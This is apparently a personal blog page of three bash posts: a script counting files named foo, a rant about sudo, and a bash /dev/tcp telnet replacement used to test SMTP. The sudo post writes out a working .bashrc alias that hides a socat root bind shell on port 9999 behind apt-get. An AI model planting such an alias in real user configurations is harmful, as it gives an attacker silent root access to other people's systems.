Showing posts with label bash. Show all posts
Showing posts with label bash. Show all posts

2012-12-01

foo

There is a tradition of using metasyntactic variables in computer science.

The time has finally come; my alma mater is shutting down my student account to reclaim space, so I pulled all my files off today. As I was watching the scp output scroll by, I realized, "I have a LOT of files names 'foo'."

Then I started to wonder; just how many files do I have? My inexact counting came up with 10 before I realized there must be a way to ask the system itself.

So, enter foo.sh:

find . -iname foo.\* |
  sed -n  's/^.\+\/\([^\/]\+\)$/\1/p' |
  awk '{count[$1]++} END { for (j in count) print j": "count[j]; }'

Which conveniently answers the question for me:

foo.sh: 1
Foo.java: 1
foo.c: 6
foo.txt: 2
foo.h: 1
foo.s: 1
Foo.class: 1
foo.c,v: 1
foo.cpp: 11

21! 21 source files named foo. Ah ah ah ah

:wq

2012-10-20

Why I Hate sudo

I make no secret of my thoughts on the sudo program. I probably wouldn't go so far as to call it a steaming pile of rubbish, but there was nothing wrong with su, and there's everything wrong with how sudo is implemented. Also, we now have an attack surface that's significantly more than twice as large.

Take, for example, the following commands:

$ sudo -s
# apt-get install some_awesome_thing_i_heard_about_on_teh_intartubes

Aside from the dubious source of the program, it seems pretty legit. But, take into account the following line from the poor user's .bashrc file:

alias apt-get='(socat tcp-listen:9999,reuseaddr exec:/bin/sh,stderr,sighup,sigint,sigquit >/dev/null 2>&1 &); /usr/bin/apt-get'

So, thanks to sudo, you can own an entire system only by compromising a single user's account. Ah, such convenience.

(nb: if you don't know about socat, go rtfm. It is ALL the kinds of awesome.)

:wq

2011-08-08

You Cannot Get Ye Telnet

Debugging a mail setup at work (on Windows :(), I tried unsuccessfully to find a program to just open up a TCP connection to a random host and port. But, we do have git installed, which means a full copy of bash. And that means that /dev/tcp and /dev/udp are available, despite /dev not existing.

So, I wrote telnet in bash (extra lines added by... chrome?blogger):

#!/bin/bash

HOST=$1
PORT=${2-23}

exec 3<>"/dev/tcp/$HOST/$PORT" || exit 1

while read line ; do
        echo $line
done >&3 &

while read line ; do
        echo -en "$line\r\n" >&3
done

It's not a perfect drop-in replacement, but now I can at least test email:

$ ./telnet.bash alt1.aspmx.l.google.com 25
220 mx.google.com ESMTP c64si6457617yhj.60
HELO localhost.localdomain
250 mx.google.com at your service
MAIL From:<aaron@xxxxx>
250 2.1.0 OK c64si6457617yhj.60
RCPT To:<aaron@xxxxx>
250 2.1.5 OK c64si6457617yhj.60
DATA
354 Go ahead c64si6457617yhj.60
Subject: test
Date: Mon, 08 Aug 2011 16:16:29 -0700
From: "Aaron Fellin" <aaron@xxxxx>
To: "Aaron Fellin" <aaron@xxxxx>

This is a test email.

I <3 bash
.
250 2.0.0 OK 1312845535 c64si6457617yhj.60
QUIT
221 2.0.0 closing connection c64si6457617yhj.60
^D

:wq